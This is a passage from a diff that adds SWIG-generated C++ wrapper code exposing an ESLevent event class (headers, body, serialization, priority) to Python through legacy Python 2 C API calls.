+	if (cptr) *cptr = (char *) vptr;
+	if (psize) *psize = vptr ? (strlen((char *)vptr) + 1) : 0;
+	if (alloc) *alloc = SWIG_OLDOBJ;
+	return SWIG_OK;
+      }
+    }
+  }
+  return SWIG_TypeError;
+}
+
+
+
+
+
+SWIGINTERNINLINE PyObject *
+SWIG_FromCharPtrAndSize(const char* carray, size_t size)
+{
+  if (carray) {
+    if (size > INT_MAX) {
+      swig_type_info* pchar_descriptor = SWIG_pchar_descriptor();
+      return pchar_descriptor ? 
+	SWIG_NewPointerObj(const_cast< char * >(carray), pchar_descriptor, 0) : SWIG_Py_Void();
+    } else {
+      return PyString_FromStringAndSize(carray, static_cast< int >(size));
+    }
+  } else {
+    return SWIG_Py_Void();
+  }
+}
+
+
+SWIGINTERNINLINE PyObject * 
+SWIG_FromCharPtr(const char *cptr)
+{ 
+  return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0));
+}
+
+
+#include <limits.h>
+#if !defined(SWIG_NO_LLONG_MAX)
+# if !defined(LLONG_MAX) && defined(__GNUC__) && defined (__LONG_LONG_MAX__)
+#   define LLONG_MAX __LONG_LONG_MAX__
+#   define LLONG_MIN (-LLONG_MAX - 1LL)
+#   define ULLONG_MAX (LLONG_MAX * 2ULL + 1ULL)
+# endif
+#endif
+
+
+SWIGINTERN int
+SWIG_AsVal_double (PyObject *obj, double *val)
+{
+  int res = SWIG_TypeError;
+  if (PyFloat_Check(obj)) {
+    if (val) *val = PyFloat_AsDouble(obj);
+    return SWIG_OK;
+  } else if (PyInt_Check(obj)) {
+    if (val) *val = PyInt_AsLong(obj);
+    return SWIG_OK;
+  } else if (PyLong_Check(obj)) {
+    double v = PyLong_AsDouble(obj);
+    if (!PyErr_Occurred()) {
+      if (val) *val = v;
+      return SWIG_OK;
+    } else {
+      PyErr_Clear();
+    }
+  }
+#ifdef SWIG_PYTHON_CAST_MODE
+  {
+    int dispatch = 0;
+    double d = PyFloat_AsDouble(obj);
+    if (!PyErr_Occurred()) {
+      if (val) *val = d;
+      return SWIG_AddCast(SWIG_OK);
+    } else {
+      PyErr_Clear();
+    }
+    if (!dispatch) {
+      long v = PyLong_AsLong(obj);
+      if (!PyErr_Occurred()) {
+	if (val) *val = v;
+	return SWIG_AddCast(SWIG_AddCast(SWIG_OK));
+      } else {
+	PyErr_Clear();
+      }
+    }
+  }
+#endif
+  return res;
+}
+
+
+#include <float.h>
+
+
+#include <math.h>
+
+
+SWIGINTERNINLINE int
+SWIG_CanCastAsInteger(double *d, double min, double max) {
+  double x = *d;
+  if ((min <= x && x <= max)) {
+   double fx = floor(x);
+   double cx = ceil(x);
+   double rd =  ((x - fx) < 0.5) ? fx : cx; /* simple rint */
+   if ((errno == EDOM) || (errno == ERANGE)) {
+     errno = 0;
+   } else {
+     double summ, reps, diff;
+     if (rd < x) {
+       diff = x - rd;
+     } else if (rd > x) {
+       diff = rd - x;
+     } else {
+       return 1;
+     }
+     summ = rd + x;
+     reps = diff/summ;
+     if (reps < 8*DBL_EPSILON) {
+       *d = rd;
+       return 1;
+     }
+   }
+  }
+  return 0;
+}
+
+
+SWIGINTERN int
+SWIG_AsVal_long (PyObject *obj, long* val)
+{
+  if (PyInt_Check(obj)) {
+    if (val) *val = PyInt_AsLong(obj);
+    return SWIG_OK;
+  } else if (PyLong_Check(obj)) {
+    long v = PyLong_AsLong(obj);
+    if (!PyErr_Occurred()) {
+      if (val) *val = v;
+      return SWIG_OK;
+    } else {
+      PyErr_Clear();
+    }
+  }
+#ifdef SWIG_PYTHON_CAST_MODE
+  {
+    int dispatch = 0;
+    long v = PyInt_AsLong(obj);
+    if (!PyErr_Occurred()) {
+      if (val) *val = v;
+      return SWIG_AddCast(SWIG_OK);
+    } else {
+      PyErr_Clear();
+    }
+    if (!dispatch) {
+      double d;
+      int res = SWIG_AddCast(SWIG_AsVal_double (obj,&d));
+      if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, LONG_MAX)) {
+	if (val) *val = (long)(d);
+	return res;
+      }
+    }
+  }
+#endif
+  return SWIG_TypeError;
+}
+
+
+SWIGINTERN int
+SWIG_AsVal_int (PyObject * obj, int *val)
+{
+  long v;
+  int res = SWIG_AsVal_long (obj, &v);
+  if (SWIG_IsOK(res)) {
+    if ((v < INT_MIN || v > INT_MAX)) {
+      return SWIG_OverflowError;
+    } else {
+      if (val) *val = static_cast< int >(v);
+    }
+  }  
+  return res;
+}
+
+
+  #define SWIG_From_long   PyInt_FromLong 
+
+
+SWIGINTERNINLINE PyObject *
+SWIG_From_int  (int value)
+{    
+  return SWIG_From_long  (value);
+}
+
+
+SWIGINTERNINLINE PyObject*
+  SWIG_From_bool  (bool value)
+{
+  return PyBool_FromLong(value ? 1 : 0);
+}
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+SWIGINTERN PyObject *_wrap_ESLevent_event_set(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *arg2 = (esl_event_t *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  void *argp2 = 0 ;
+  int res2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLevent_event_set",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_event_set" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_ConvertPtr(obj1, &argp2,SWIGTYPE_p_esl_event_t, SWIG_POINTER_DISOWN |  0 );
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_event_set" "', argument " "2"" of type '" "esl_event_t *""'"); 
+  }
+  arg2 = reinterpret_cast< esl_event_t * >(argp2);
+  if (arg1) (arg1)->event = arg2;
+  
+  resultobj = SWIG_Py_Void();
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_event_get(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_event_get",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_event_get" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (esl_event_t *) ((arg1)->event);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_esl_event_t, 0 |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_serialized_string_set(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLevent_serialized_string_set",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_serialized_string_set" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_serialized_string_set" "', argument " "2"" of type '" "char *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (arg1->serialized_string) delete[] arg1->serialized_string;
+  if (arg2) {
+    size_t size = strlen(reinterpret_cast< const char * >(arg2)) + 1;
+    arg1->serialized_string = (char *)reinterpret_cast< char* >(memcpy((new char[size]), reinterpret_cast< const char * >(arg2), sizeof(char)*(size)));
+  } else {
+    arg1->serialized_string = 0;
+  }
+  resultobj = SWIG_Py_Void();
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_serialized_string_get(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_serialized_string_get",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_serialized_string_get" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *) ((arg1)->serialized_string);
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_mine_set(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int arg2 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int val2 ;
+  int ecode2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLevent_mine_set",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_mine_set" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  ecode2 = SWIG_AsVal_int(obj1, &val2);
+  if (!SWIG_IsOK(ecode2)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "ESLevent_mine_set" "', argument " "2"" of type '" "int""'");
+  } 
+  arg2 = static_cast< int >(val2);
+  if (arg1) (arg1)->mine = arg2;
+  
+  resultobj = SWIG_Py_Void();
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_mine_get(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_mine_get",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_mine_get" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (int) ((arg1)->mine);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_new_ESLevent__SWIG_0(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  int res1 ;
+  char *buf1 = 0 ;
+  int alloc1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O|O:new_ESLevent",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_AsCharPtrAndSize(obj0, &buf1, NULL, &alloc1);
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLevent" "', argument " "1"" of type '" "char const *""'");
+  }
+  arg1 = reinterpret_cast< char * >(buf1);
+  if (obj1) {
+    res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "new_ESLevent" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+  }
+  result = (ESLevent *)new ESLevent((char const *)arg1,(char const *)arg2);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_NEW |  0 );
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_new_ESLevent__SWIG_1(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  esl_event_t *arg1 = (esl_event_t *) 0 ;
+  int arg2 = (int) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int val2 ;
+  int ecode2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O|O:new_ESLevent",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_esl_event_t, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLevent" "', argument " "1"" of type '" "esl_event_t *""'"); 
+  }
+  arg1 = reinterpret_cast< esl_event_t * >(argp1);
+  if (obj1) {
+    ecode2 = SWIG_AsVal_int(obj1, &val2);
+    if (!SWIG_IsOK(ecode2)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "new_ESLevent" "', argument " "2"" of type '" "int""'");
+    } 
+    arg2 = static_cast< int >(val2);
+  }
+  result = (ESLevent *)new ESLevent(arg1,arg2);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_NEW |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_new_ESLevent__SWIG_2(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:new_ESLevent",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLevent" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (ESLevent *)new ESLevent(arg1);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_NEW |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_new_ESLevent(PyObject *self, PyObject *args) {
+  int argc;
+  PyObject *argv[3];
+  int ii;
+  
+  if (!PyTuple_Check(args)) SWIG_fail;
+  argc = (int)PyObject_Length(args);
+  for (ii = 0; (ii < argc) && (ii < 2); ii++) {
+    argv[ii] = PyTuple_GET_ITEM(args,ii);
+  }
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    void *vptr = 0;
+    int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_esl_event_t, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_1(self, args);
+      }
+      {
+        int res = SWIG_AsVal_int(argv[1], NULL);
+        _v = SWIG_CheckState(res);
+      }
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_1(self, args);
+      }
+    }
+  }
+  if (argc == 1) {
+    int _v;
+    void *vptr = 0;
+    int res = SWIG_ConvertPtr(argv[0], &vptr, SWIGTYPE_p_ESLevent, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      return _wrap_new_ESLevent__SWIG_2(self, args);
+    }
+  }
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_0(self, args);
+      }
+      int res = SWIG_AsCharPtrAndSize(argv[1], 0, NULL, 0);
+      _v = SWIG_CheckState(res);
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_0(self, args);
+      }
+    }
+  }
+  
+fail:
+  SWIG_SetErrorMsg(PyExc_NotImplementedError,"Wrong number of arguments for overloaded function 'new_ESLevent'.\n"
+    "  Possible C/C++ prototypes are:\n"
+    "    ESLevent(char const *,char const *)\n"
+    "    ESLevent(esl_event_t *,int)\n"
+    "    ESLevent(ESLevent *)\n");
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_delete_ESLevent(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:delete_ESLevent",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, SWIG_POINTER_DISOWN |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_ESLevent" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  delete arg1;
+  
+  resultobj = SWIG_Py_Void();
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_serialize(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) NULL ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O|O:ESLevent_serialize",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_serialize" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  if (obj1) {
+    res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_serialize" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+  }
+  result = (char *)(arg1)->serialize((char const *)arg2);
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_setPriority(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_priority_t arg2 = (esl_priority_t) ESL_PRIORITY_NORMAL ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  void *argp2 ;
+  int res2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O|O:ESLevent_setPriority",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_setPriority" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  if (obj1) {
+    {
+      res2 = SWIG_ConvertPtr(obj1, &argp2, SWIGTYPE_p_esl_priority_t,  0  | 0);
+      if (!SWIG_IsOK(res2)) {
+        SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_setPriority" "', argument " "2"" of type '" "esl_priority_t""'"); 
+      }  
+      if (!argp2) {
+        SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "ESLevent_setPriority" "', argument " "2"" of type '" "esl_priority_t""'");
+      } else {
+        esl_priority_t * temp = reinterpret_cast< esl_priority_t * >(argp2);
+        arg2 = *temp;
+        if (SWIG_IsNewObj(res2)) delete temp;
+      }
+    }
+  }
+  result = (bool)(arg1)->setPriority(arg2);
+  resultobj = SWIG_From_bool(static_cast< bool >(result));
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_getHeader(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLevent_getHeader",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_getHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_getHeader" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (char *)(arg1)->getHeader((char const *)arg2);
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_getBody(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_getBody",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_getBody" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->getBody();
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_getType(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_getType",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_getType" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->getType();
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_addBody(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLevent_addBody",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_addBody" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_addBody" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (bool)(arg1)->addBody((char const *)arg2);
+  resultobj = SWIG_From_bool(static_cast< bool >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_addHeader(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OOO:ESLevent_addHeader",&obj0,&obj1,&obj2)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_addHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_addHeader" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLevent_addHeader" "', argument " "3"" of type '" "char const *""'");
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (bool)(arg1)->addHeader((char const *)arg2,(char const *)arg3);
+  resultobj = SWIG_From_bool(static_cast< bool >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return resultobj;
+fail:
